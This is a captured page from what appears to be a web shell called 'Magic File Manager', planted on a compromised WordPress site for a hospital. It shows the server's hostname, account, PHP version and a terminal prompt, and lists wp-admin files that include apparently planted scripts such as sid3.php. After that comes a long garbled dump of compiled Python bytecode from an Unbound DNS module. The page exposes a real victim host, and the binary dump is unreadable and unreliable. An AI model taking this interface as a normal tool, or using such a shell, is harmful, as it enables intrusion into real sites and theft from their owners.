✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 ܳjã$@s†ddlmZedskr&dd„ZeƒZ[n"edtkr@dd„ZeƒZ[nddlZ[yeZWnek rfYnXy ddlZ Wne k r�ddl Z YnXdud d „Z d d „Z dd„Z dd„Zy eZd ZWn(e jk rèGdd„dƒZdZYnXddlZy ddlZWne k �rddl ZYnXdeƒk�r.eZdd„Zdd„ZejZejZejZejZejZejZejZej Z ej!Z!ej"Z"ej#Z#ej$Z$ej%Z%ej&Z&ej'Z'ej(Z(ej)Z)ej*Z*ej+Z+ej,Z,ej-Z-ej.Z.ej/Z/ej0Z0ej1Z1ej2Z2ej3Z3ej4Z4ej5Z5ej6Z6ej7Z7ej8Z8ej9Z9ej:Z:ej;Z;ejZ>ej?Z?ej@Z@ejAZAejBZBejCZCejDZDejEZEejFZFejGZGejHZHejIZIejJZJejKZKejLZLejMZMejNZNejOZOejPZPejQZQejRZRejSZSejTZTejUZUejVZVejWZWejXZXejYZYejZZZej[Z[ej\Z\ej]Z]dd„Z^ej^Z^ej_Z_ej`Z`ejaZaejbZbejcZcejdZdejeZeejfZfejgZgejhZhejiZiGdd„dƒZjejkZkejlZlejmZmejnZnejoZoejpZpGdd„deƒZqejrZrereqƒejsZsejtZtejuZuejvZvejwZwejxZxejyZyejzZzej{Z{ej|Z|ej}Z}dd „Z~ej~Z~d!d"„ZejZd#d$„Z€ej€Z€d%d&„Z�ej�Z�d'd(„Z‚ej‚Z‚d)d*„ZƒejƒZƒd+d,„Z„ej„Z„d-d.„Z…ej…Z…d/d0„Z†ej†Z†d1d2„Z‡ej‡Z‡d3d4„ZˆejˆZˆd5d6„Z‰ej‰Z‰d7d8„ZŠejŠZŠd9d:„Z‹ej‹Z‹d;d<„ZŒejŒZŒd=d>„Z�ej�Z�d?d@„ZŽejŽZŽdAdB„Z�ej�Z�dCdD„Z�ej�Z�dEdF„Z‘ej‘Z‘dGdH„Z’ej’Z’dIdJ„Z“ej“Z“dKdL„Z”ej”Z”dMdN„Z•ej•Z•dOdP„Z–ej–Z–dQdR„Z—ej—Z—dSdT„Z˜ej˜Z˜dUdV„Z™ej™Z™dWdX„ZšejšZšdYdZ„Z›ej›Z›d[d\„ZœejœZœGd]d^„d^eƒZ�ejžZžeže�ƒGd_d`„d`eƒZŸej Z e eŸƒGdadb„dbeƒZ¡ej¢Z¢e¢e¡ƒej£Z£ej¤Z¤ej¥Z¥ej¦Z¦ej§Z§ej¨Z¨Gdcdd„ddeƒZ©ejªZªeªe©ƒGdedf„dfeƒZ«ej¬Z¬e¬e«ƒGdgdh„dheƒZ­ej®Z®e®e­ƒdidj„Z¯ej¯Z¯dkdl„Z°ej°Z°ej°Z“dmdn„Z±dodp„Z²dqdr„Z³dS)vé)Ú version_infoééc CsTddl}tjdƒd}dj|dfƒjdƒ}y |j|ƒStk rN|jdƒSXdS)NrÚ.Ú_unbound)Ú importlibÚ__name__Ú rpartitionÚjoinÚlstripÚ import_moduleÚ ImportError)rZpkgZmname©rú/usr/lib64/python3.6/unbound.pyÚswig_import_helper s récCs~ddlm}ddl}d}y|jd|tƒgƒ\}}}Wntk rPddl}|SXz|jd|||ƒ}Wd|dk rx|jƒX|S)Nr)Údirnamer) Zos.pathrÚimpÚ find_moduleÚ__file__r rÚ load_moduleÚclose)rrÚfpÚpathnameÚ descriptionrZ_modrrrrs  NécCsˆ|dkr|jj|ƒS|dkr8t|ƒjdkr8||j|<dS|jj|dƒ}|rT|||ƒS|sxtrltj |||ƒq„||j|<n t d|ƒ‚dS)NÚthisownÚthisZ SwigPyObjectzYou cannot add attributes to %s) rÚownÚtyperÚ__dict__Ú__swig_setmethods__ÚgetÚ _newclassÚobjectÚ __setattr__ÚAttributeError)ÚselfÚ class_typeÚnameÚvalueZstaticÚmethodrrrÚ_swig_setattr_nondynamic3s    r,cCst||||dƒS)Nr)r,)r'r(r)r*rrrÚ _swig_setattrFsr-cCsB|dkr|jjƒS|jj|dƒ}|r,||ƒStd|j|fƒ‚dS)Nrz!'%s' object has no attribute '%s')rrÚ__swig_getmethods__r"r&r)r'r(r)r+rrrÚ _swig_getattrJs  r/c CsDyd|jjƒ}Wntjk r,d}YnXd|jj|jj|fS)Nz proxy of Úz <%s.%s; %s >)rÚ__repr__Ú __builtin__Ú ExceptionÚ __class__Ú __module__r)r'ZstrthisrrrÚ _swig_reprSs  r6c@s eZdZdS)Ú_objectN)rr5Ú __qualname__rrrrr7^sr7ÚbytescCst|tƒr|Stj|ƒS)N)Ú isinstanceÚintÚbuiltinsÚord)Úsrrrr=ms r=cCs tj|ƒS)N)rÚub_ctx_free_dbg)Úcrrrr?ssr?cCs tj|ƒS)N)rÚub_resolve_free_dbg)ÚrrrrrA»srAc@s¦eZdZdZdd„Zdd„Zeddd„ƒZd d „Ze ed d �Z d d„Z e e dd �Z dd„Z e e dd �Zdd„Ze edd �Zdd„Ze edd �Zdd„Ze edd �ZdS)Úub_dataz3Class which makes the resolution results accessiblecCs|dkrtdƒ‚||_dS)zZCreates ub_data class :param data: a list of the result data in RAW format Nzub_data init: No data)r3Údata)r'rDrrrÚ__init__Ìszub_data.__init__cCsdjdd„|jDƒƒS)zRepresents data as stringú;cSs g|]}djtdd„|ƒƒ‘qS)ú cSs dt|ƒS)Nz%02X)r=)ÚxrrrÚÖsz,ub_data.__str__...)r Úmap)Ú.0Úarrrú Ösz#ub_data.__str__..)r rD)r'rrrÚ__str__Ôszub_data.__str__rcCsz|sgSg}t|ƒ}|dkr&t||ƒ}|}xJ||krtt||ƒ}|jt||d|d|…jƒƒƒ||d7}q,W|S)zäParses DNAME and produces a list of labels :param ofs: where the conversion should start to parse data :param maxlen: maximum length (0 means parse to the end) :returns: list of labels (string) rr)ÚlenÚminr=ÚappendÚstrÚdecode)r>ZofsÚmaxlenÚresZslenÚidxZcomplenrrrÚ dname2strØs   &zub_data.dname2strcCs|jS)zReturns a list of RAW strings)rD)r'rrrÚ as_raw_datañszub_data.as_raw_datazLReturns RAW data (a list of binary encoded strings). See :meth:`as_raw_data`)Údoccs‡fdd„ˆjDƒS)zzRepresents data as a list of MX records (query for RR_TYPE_MX) :returns: list of tuples (priority, dname) csDg|]<}dt|dƒt|dƒdjdd„ˆj|dƒDƒƒf‘qS)érrrcSsg|]}|‘qSrr)rKrLrrrrMüsz1ub_data.as_mx_list...r)r=r rW)rKÚrdf)r'rrrMüsz&ub_data.as_mx_list..)rD)r'r)r'rÚ as_mx_list÷szub_data.as_mx_listzUReturns a list of tuples containing priority and domain names. See :meth:`as_mx_list`cs‡fdd„ˆjDƒS)z‚Represents data as a list of MX records (query for RR_TYPE_MX) :returns: list of tuples (priority, unicode dname) csDg|]<}dt|dƒt|dƒdjdd„ˆj|dƒDƒƒf‘qS)rZrrrcSsg|]}tjj|ƒ‘qSr)Ú encodingsÚidnaÚ ToUnicode)rKrLrrrrMsz5ub_data.as_idn_mx_list...r)r=r rW)rKr[)r'rrrMsz*ub_data.as_idn_mx_list..)rD)r'r)r'rÚas_idn_mx_listszub_data.as_idn_mx_listz]Returns a list of tuples containing priority and IDN domain names. See :meth:`as_idn_mx_list`cCsdd„|jDƒS)zlRepresents data as a list of IP addresses (query for RR_TYPE_PTR) :returns: list of strings cSs g|]}djtdd„|ƒƒ‘qS)rcSs tt|ƒƒS)N)rRr=)rHrrrrIsz4ub_data.as_address_list...)r rJ)rKrLrrrrMsz+ub_data.as_address_list..)rD)r'rrrÚas_address_list szub_data.as_address_listz;Returns a list of IP addresses. See :meth:`as_address_list`cst‡fdd„ˆjƒS)zjRepresents data as a list of domain names (query for RR_TYPE_A) :returns: list of strings csdjˆj|ƒƒS)Nr)r rW)rH)r'rrrIsz(ub_data.as_domain_list..)rJrD)r'r)r'rÚas_domain_listszub_data.as_domain_listz:Returns a list of domain names. See :meth:`as_domain_list`cst‡fdd„ˆjƒS)zrRepresents data as a list of unicode domain names (query for RR_TYPE_A) :returns: list of strings csdjdd„ˆj|ƒDƒƒS)NrcSsg|]}tjj|ƒ‘qSr)r]r^r_)rKrLrrrrM sz@ub_data.as_idn_domain_list....)r rW)rH)r'rrrI sz,ub_data.as_idn_domain_list..)rJrD)r'r)r'rÚas_idn_domain_listszub_data.as_idn_domain_listzBReturns a list of IDN domain names. See :meth:`as_idn_domain_list`N)rr)rr5r8Ú__doc__rErNÚ staticmethodrWrXÚpropertyÚrawr\Zmx_listr`Z mx_list_idnraZ address_listrbZ domain_listrcZdomain_list_idnrrrrrCÊs"      rCc@s8eZdZdZiZdd„ZiZdd„Zdd„Ze Z e j ed<e j ed<erVee j e j ƒZe jed<e jed<er|ee je jƒZe jed <e jed <er¢ee je jƒZe jed <e jed <erÈee je jƒZe jed <e jed <erîee je jƒZe jed <e jed <e�ree je jƒZe j ed <e j!ed <e�r>ee j!e j ƒZ"e j#ed<e j$ed<e�rfee j$e j#ƒZ%e j&ed<e j'ed<e�rŽee j'e j&ƒZ(e j)ed<e j*ed<e�r¶ee j*e j)ƒZ+e j,ed<e j-ed<e�rÞee j-e j,ƒZ.e j/ed<e j0ed<e�ree j0e j/ƒZ1e j2ed<e j3ed<e�r.ee j3e j2ƒZ4e j5ed<e j6ed<e�rVee j6e j5ƒZ7e j8ed<e j9ed<e�r~ee j9e j8ƒZ:e j;ed<e jdd„Z?dd„Ze j@ZAeBdeCdeDdeEdeFd eGd!eHd"eId#eJd$eKd%eLd&i ZMd'd(„ZNeOeNƒZPd)d*„ZQeOeQd+d,�ZRd-d.„ZSeOe?ƒZTeOeSd/d,�ZUd0S)1Ú ub_resultz&The validation and resolution results.cCst|t||ƒS)N)r-rh)r'r)r*rrrrI.szub_result.cCs t|t|ƒS)N)r/rh)r'r)rrrrI0scOs tdƒ‚dS)NzNo constructor defined)r&)r'ÚargsÚkwargsrrrrE2szub_result.__init__ÚqnameÚqtypeÚqclassÚ_datarOÚ canonnameÚrcodeÚ answer_packetÚ answer_lenÚhavedataÚnxdomainÚsecureÚbogusÚ why_bogusÚttlÚwas_ratelimitedcCs tj||ƒS)N)rZub_result__ub_result_data)r'ÚresultrrrÚ_ub_result_datavszub_result._ub_result_datacCs tj|ƒS)N)rZub_result__packet)r'rrrÚ_packetyszub_result._packetcCs tdƒ‚dS)Nz%This class can't be created directly.)r3)r'rrrrE|szno errorz form errorz serv failz nx domainznot implementedZrefusedZyxdomainZyxrrsetZnxrrsetznot authznot zonecCs |j|jS)zRReturns rcode in display representation form :returns: string )Ú rcode2strrp)r'rrrÚ_get_rcode_str†szub_result._get_rcode_strcCs |j|ƒS)a Result data, a list of network order DNS rdata items. Data are represented as a list of strings. To decode RAW data to the list of IP addresses use :attr:`data` attribute which returns an :class:`ub_data` instance containing conversion function. )r{)r'rrrÚ _get_raw_data�szub_result._get_raw_dataz­Returns raw data, a list of rdata items. To decode RAW data use the :attr:`data` attribute which returns an instance of :class:`ub_data` containing the conversion functions.)rYcCs|js dSt|j|ƒƒS)N)rsrCr{)r'rrrÚ _get_data˜szub_result._get_datazOReturns :class:`ub_data` instance containing various decoding functions or NoneN)Vrr5r8rdr!r%r.Ú __getattr__rEr6r1rZub_result_qname_setZub_result_qname_getr#Ú_swig_propertyrkZub_result_qtype_setZub_result_qtype_getrlZub_result_qclass_setZub_result_qclass_getrmZub_result__data_setZub_result__data_getrnZub_result_len_setZub_result_len_getrOZub_result_canonname_setZub_result_canonname_getroZub_result_rcode_setZub_result_rcode_getrpZub_result_answer_packet_setZub_result_answer_packet_getrqZub_result_answer_len_setZub_result_answer_len_getrrZub_result_havedata_setZub_result_havedata_getrsZub_result_nxdomain_setZub_result_nxdomain_getrtZub_result_secure_setZub_result_secure_getruZub_result_bogus_setZub_result_bogus_getrvZub_result_why_bogus_setZub_result_why_bogus_getrwZub_result_ttl_setZub_result_ttl_getrxZub_result_was_ratelimited_setZub_result_was_ratelimited_getryr{r|Ú_ub_resolve_freeÚ__swig_destroy__Ú RCODE_NOERRORÚ RCODE_FORMERRÚRCODE_SERVFAILÚRCODE_NXDOMAINÚ RCODE_NOTIMPLÚ RCODE_REFUSEDÚRCODE_YXDOMAINÚ RCODE_YXRRSETÚ RCODE_NXRRSETÚ RCODE_NOTAUTHÚ RCODE_NOTZONEr}r~rfZ rcode_strrZrawdatar€ZpacketrDrrrrrh*s¦                                0 rhcCstjƒS)N)rÚ ub_ctx_createrrrrr�¯sr�cCs tj|ƒS)N)rÚ_ub_ctx_delete)Úctxrrrr‘³sr‘cCstj|||ƒS)N)rÚub_ctx_set_option)r’ÚoptÚvalrrrr“·sr“cCstj|||ƒS)N)rÚub_ctx_get_option)r’r”rRrrrr–»sr–cCs tj||ƒS)N)rÚ ub_ctx_config)r’Úfnamerrrr—¿sr—cCs tj||ƒS)N)rÚub_ctx_set_fwd)r’Úaddrrrrr™Ãsr™cCs tj||ƒS)N)rÚub_ctx_set_tls)r’Ztlsrrrr›Çsr›cCstj||||ƒS)N)rÚub_ctx_set_stub)r’ZzoneršZisprimerrrrœËsrœcCs tj||ƒS)N)rÚub_ctx_resolvconf)r’r˜rrrr�Ïsr�cCs tj||ƒS)N)rÚ ub_ctx_hosts)r’r˜rrrržÓsržcCs tj||ƒS)N)rÚ ub_ctx_add_ta)r’ÚtarrrrŸ×srŸcCs tj||ƒS)N)rÚub_ctx_add_ta_file)r’r˜rrrr¡Ûsr¡cCs tj||ƒS)N)rÚub_ctx_add_ta_autr)r’r˜rrrr¢ßsr¢cCs tj||ƒS)N)rÚub_ctx_trustedkeys)r’r˜rrrr£ãsr£cCs tj||ƒS)N)rÚub_ctx_debuglevel)r’Údrrrr¤çsr¤cCs tj||ƒS)N)rÚ ub_ctx_async)r’Údothreadrrrr¦ësr¦cCs tj|ƒS)N)rÚub_poll)r’rrrr¨ïsr¨cCs tj|ƒS)N)rÚub_wait)r’rrrr©ósr©cCs tj|ƒS)N)rÚub_fd)r’rrrrª÷srªcCs tj|ƒS)N)rÚ ub_process)r’rrrr«ûsr«cCstj||||ƒS)N)rÚ ub_resolve)r’r)ÚrrtypeÚrrclassrrrr¬ÿsr¬cCstj|||||||ƒS)N)rÚub_resolve_async)r’r)r­r®ÚmydataÚcallbackÚasync_idrrrr¯sr¯cCs tj||ƒS)N)rÚ ub_cancel)r’r²rrrr³sr³cCs tj|ƒS)N)rrƒ)rzrrrrƒ srƒcCs tj|ƒS)N)rÚ ub_strerror)Úerrrrrr´sr´cCs tj|ƒS)N)rÚub_ctx_print_local_zones)r’rrrr¶sr¶cCstj|||ƒS)N)rÚub_ctx_zone_add)r’Ú zone_nameZ zone_typerrrr·sr·cCs tj||ƒS)N)rÚub_ctx_zone_remove)r’r¸rrrr¹sr¹cCs tj||ƒS)N)rÚub_ctx_data_add)r’rDrrrrºsrºcCs tj||ƒS)N)rÚub_ctx_data_remove)r’rDrrrr»#sr»cCstjƒS)N)rÚ ub_versionrrrrr¼'sr¼c@s”eZdZiZdd„ZiZdd„ZeZe j ed<e j ed<e rJe e j e j ƒZe jed<e rbe e jƒZe jed<e rze e jƒZdd„Ze jZd d„Zd S) Úub_shm_stat_infocCst|t||ƒS)N)r-r½)r'r)r*rrrrI,szub_shm_stat_info.cCs t|t|ƒS)N)r/r½)r'r)rrrrI.sÚ num_threadsÚtimeÚmemc Cs:tjƒ}y|jj|ƒWntjk r4||_YnXdS)N)rZnew_ub_shm_stat_inforrQr2r3)r'rrrrrE;s zub_shm_stat_info.__init__cCsdS)Nr)r'rrrrIBsN)rr5r8r!r%r.r�r6r1rZ ub_shm_stat_info_num_threads_setZ ub_shm_stat_info_num_threads_getr#r‚r¾Zub_shm_stat_info_time_getr¿Zub_shm_stat_info_mem_getrÀrEZdelete_ub_shm_stat_infor„Ú__del__rrrrr½*s$      r½c@sÄeZdZiZdd„ZiZdd„ZeZe j ed<e j ed<e rJe e j e j ƒZe jed<e jed<e rpe e je jƒZe jed<e jed<e r–e e je jƒZe jed<e jed<e r¼e e je jƒZe jed<e jed<e râe e je jƒZe jed <e jed <e �r e e je jƒZe jed <e jed <e �r2e e je jƒZ e j!ed <e j"ed <e �rZe e j"e j!ƒZ#e j$ed <e j%ed <e �r‚e e j%e j$ƒZ&e j'ed <e j(ed <e �rªe e j(e j'ƒZ)dd„Z*e j+Z,dd„Z-dS)Úub_shm_stat_info_memcCst|t||ƒS)N)r-rÂ)r'r)r*rrrrIHszub_shm_stat_info_mem.cCs t|t|ƒS)N)r/rÂ)r'r)rrrrIJsÚmsgÚrrsetr•ÚiterÚsubnetÚipsecmodÚrespipÚdnscrypt_shared_secretÚdnscrypt_nonceÚdynlibc Cs:tjƒ}y|jj|ƒWntjk r4||_YnXdS)N)rZnew_ub_shm_stat_info_memrrQr2r3)r'rrrrrEus zub_shm_stat_info_mem.__init__cCsdS)Nr)r'rrrrI|sN).rr5r8r!r%r.r�r6r1rZub_shm_stat_info_mem_msg_setZub_shm_stat_info_mem_msg_getr#r‚rÃZub_shm_stat_info_mem_rrset_setZub_shm_stat_info_mem_rrset_getrÄZub_shm_stat_info_mem_val_setZub_shm_stat_info_mem_val_getr•Zub_shm_stat_info_mem_iter_setZub_shm_stat_info_mem_iter_getrÅZub_shm_stat_info_mem_subnet_setZub_shm_stat_info_mem_subnet_getrÆZ!ub_shm_stat_info_mem_ipsecmod_setZ!ub_shm_stat_info_mem_ipsecmod_getrÇZub_shm_stat_info_mem_respip_setZub_shm_stat_info_mem_respip_getrÈZ/ub_shm_stat_info_mem_dnscrypt_shared_secret_setZ/ub_shm_stat_info_mem_dnscrypt_shared_secret_getrÉZ'ub_shm_stat_info_mem_dnscrypt_nonce_setZ'ub_shm_stat_info_mem_dnscrypt_nonce_getrÊZub_shm_stat_info_mem_dynlib_setZub_shm_stat_info_mem_dynlib_getrËrEZdelete_ub_shm_stat_info_memr„rÁrrrrrÂFs`                    rÂc@s$eZdZiZdd„ZiZdd„ZeZe j ed<e j ed<e rJe e j e j ƒZe jed<e jed<e rpe e je jƒZe jed<e jed<e r–e e je jƒZe jed<e jed<e r¼e e je jƒZe jed<e jed<e râe e je jƒZe jed <e jed <e �r e e je jƒZd d „Ze jZ d d„Z!d S)Úub_shm_stat_info_timecCst|t||ƒS)N)r-rÌ)r'r)r*rrrrI‚szub_shm_stat_info_time.cCs t|t|ƒS)N)r/rÌ)r'r)rrrrI„sÚnow_secÚnow_usecÚup_secÚup_usecÚ elapsed_secÚ elapsed_usecc Cs:tjƒ}y|jj|ƒWntjk r4||_YnXdS)N)rZnew_ub_shm_stat_info_timerrQr2r3)r'rrrrrEŸs zub_shm_stat_info_time.__init__cCsdS)Nr)r'rrrrI¦sN)"rr5r8r!r%r.r�r6r1rZ!ub_shm_stat_info_time_now_sec_setZ!ub_shm_stat_info_time_now_sec_getr#r‚rÍZ"ub_shm_stat_info_time_now_usec_setZ"ub_shm_stat_info_time_now_usec_getrÎZ ub_shm_stat_info_time_up_sec_setZ ub_shm_stat_info_time_up_sec_getrÏZ!ub_shm_stat_info_time_up_usec_setZ!ub_shm_stat_info_time_up_usec_getrÐZ%ub_shm_stat_info_time_elapsed_sec_setZ%ub_shm_stat_info_time_elapsed_sec_getrÑZ&ub_shm_stat_info_time_elapsed_usec_setZ&ub_shm_stat_info_time_elapsed_usec_getrÒrEZdelete_ub_shm_stat_info_timer„rÁrrrrrÌ€s@            rÌc@sä eZdZiZdd„ZiZdd„ZeZe j ed<e j ed<e rJe e j e j ƒZe jed<e jed<e rpe e je jƒZe jed<e jed<e r–e e je jƒZe jed<e jed<e r¼e e je jƒZe jed<e jed<e râe e je jƒZe jed <e jed <e �r e e je jƒZe jed <e jed <e �r2e e je jƒZ e j!ed <e j"ed <e �rZe e j"e j!ƒZ#e j$ed <e j%ed <e �r‚e e j%e j$ƒZ&e j'ed <e j(ed <e �rªe e j(e j'ƒZ)e j*ed<e j+ed<e �rÒe e j+e j*ƒZ,e j-ed<e j.ed<e �rúe e j.e j-ƒZ/e j0ed<e j1ed<e �r"e e j1e j0ƒZ2e j3ed<e j4ed<e �rJe e j4e j3ƒZ5e j6ed<e j7ed<e �rre e j7e j6ƒZ8e j9ed<e j:ed<e �rše e j:e j9ƒZ;e je j?ed<e j@ed<e �rêe e j@e j?ƒZAe jBed<e jCed<e �re e jCe jBƒZDe jEed<e jFed<e �r:e e jFe jEƒZGe jHed<e jIed<e �rbe e jIe jHƒZJe jKed<e jLed<e �rŠe e jLe jKƒZMe jNed<e jOed<e �r²e e jOe jNƒZPe jQed<e jRed<e �rÚe e jRe jQƒZSe jTed<e jUed<e �re e jUe jTƒZVe jWed<e jXed<e �r*e e jXe jWƒZYe jZed<e j[ed<e �rRe e j[e jZƒZ\e j]ed<e j^ed<e �rze e j^e j]ƒZ_e j`ed <e jaed <e �r¢e e jae j`ƒZbe jced!<e jded!<e �rÊe e jde jcƒZee jfed"<e jged"<e �ròe e jge jfƒZhe jied#<e jjed#<e �re e jje jiƒZke jled$<e jmed$<e �rBe e jme jlƒZne joed%<e jped%<e �rje e jpe joƒZqe jred&<e jsed&<e �r’e e jse jrƒZte jued'<e jved'<e �rºe e jve juƒZwe jxed(<e jyed(<e �râe e jye jxƒZze j{ed)<e j|ed)<e �r e e j|e j{ƒZ}e j~ed*<e jed*<e �r2e e je j~ƒZ€e j�ed+<e j‚ed+<e �rZe e j‚e j�ƒZƒe j„ed,<e j…ed,<e �r‚e e j…e j„ƒZ†e j‡ed-<e jˆed-<e �rªe e jˆe j‡ƒZ‰e jŠed.<e j‹ed.<e �rÒe e j‹e jŠƒZŒe j�ed/<e jŽed/<e �rúe e jŽe j�ƒZ�e j�ed0<e j‘ed0<e �r"e e j‘e j�ƒZ’e j“ed1<e j”ed1<e �rJe e j”e j“ƒZ•e j–ed2<e j—ed2<e �rre e j—e j–ƒZ˜e j™ed3<e jšed3<e �rše e jše j™ƒZ›e jœed4<e j�ed4<e �rÂe e j�e jœƒZže jŸed5<e j ed5<e �rêe e j e jŸƒZ¡e j¢ed6<e j£ed6<e �re e j£e j¢ƒZ¤e j¥ed7<e j¦ed7<e �r:e e j¦e j¥ƒZ§e j¨ed8<e j©ed8<e �rbe e j©e j¨ƒZªe j«ed9<e j¬ed9<e �rŠe e j¬e j«ƒZ­e j®ed:<e j¯ed:<e �r²e e j¯e j®ƒZ°e j±ed;<e j²ed;<e �rÚe e j²e j±ƒZ³e j´ed<<e jµed<<e � re e jµe j´ƒZ¶e j·ed=<e j¸ed=<e � r*e e j¸e j·ƒZ¹e jºed><e j»ed><e � rRe e j»e jºƒZ¼e j½ed?<e j¾ed?<e � rze e j¾e j½ƒZ¿e jÀed@<e jÁed@<e � r¢e e jÁe jÀƒZÂe jÃedA<e jÄedA<e � rÊe e jÄe jÃZÅdBdC„ZÆe jÇZÈdDd„ZÉdES)FÚub_server_statscCst|t||ƒS)N)r-rÓ)r'r)r*rrrrI²szub_server_stats.cCs t|t|ƒS)N)r/rÓ)r'r)rrrrI´sÚ num_queriesÚnum_queries_ip_ratelimitedÚnum_queries_missed_cacheÚnum_queries_prefetchÚsum_query_list_sizeÚmax_query_list_sizeÚextendedrlÚ qtype_bigrmÚ qclass_bigÚqopcodeÚqtcpÚ qtcp_outgoingÚ qudp_outgoingÚqtlsÚqhttpsÚqipv6Úqbit_QRÚqbit_AAÚqbit_TCÚqbit_RDÚqbit_RAÚqbit_ZÚqbit_ADÚqbit_CDÚqEDNSÚqEDNS_DOÚ ans_rcodeÚans_rcode_nodataÚ ans_secureÚ ans_bogusÚ rrset_bogusÚqueries_ratelimitedÚunwanted_repliesÚunwanted_queriesÚtcp_accept_usageÚ ans_expiredÚhistÚmsg_cache_countÚrrset_cache_countÚinfra_cache_countÚkey_cache_countÚnum_query_dnscrypt_cryptedÚnum_query_dnscrypt_certÚnum_query_dnscrypt_cleartextÚ$num_query_dnscrypt_crypted_malformedÚ&num_query_dnscrypt_secret_missed_cacheÚshared_secret_cache_countÚnum_query_dnscrypt_replayÚnonce_cache_countÚnum_query_authzone_upÚnum_query_authzone_downÚnum_neg_cache_noerrorÚnum_neg_cache_nxdomainÚnum_query_subnetÚnum_query_subnet_cacheÚmem_stream_waitÚmem_http2_query_bufferÚmem_http2_response_bufferÚ qtls_resumeÚ rpz_actionc Cs:tjƒ}y|jj|ƒWntjk r4||_YnXdS)N)rZnew_ub_server_statsrrQr2r3)r'rrrrrE¯s 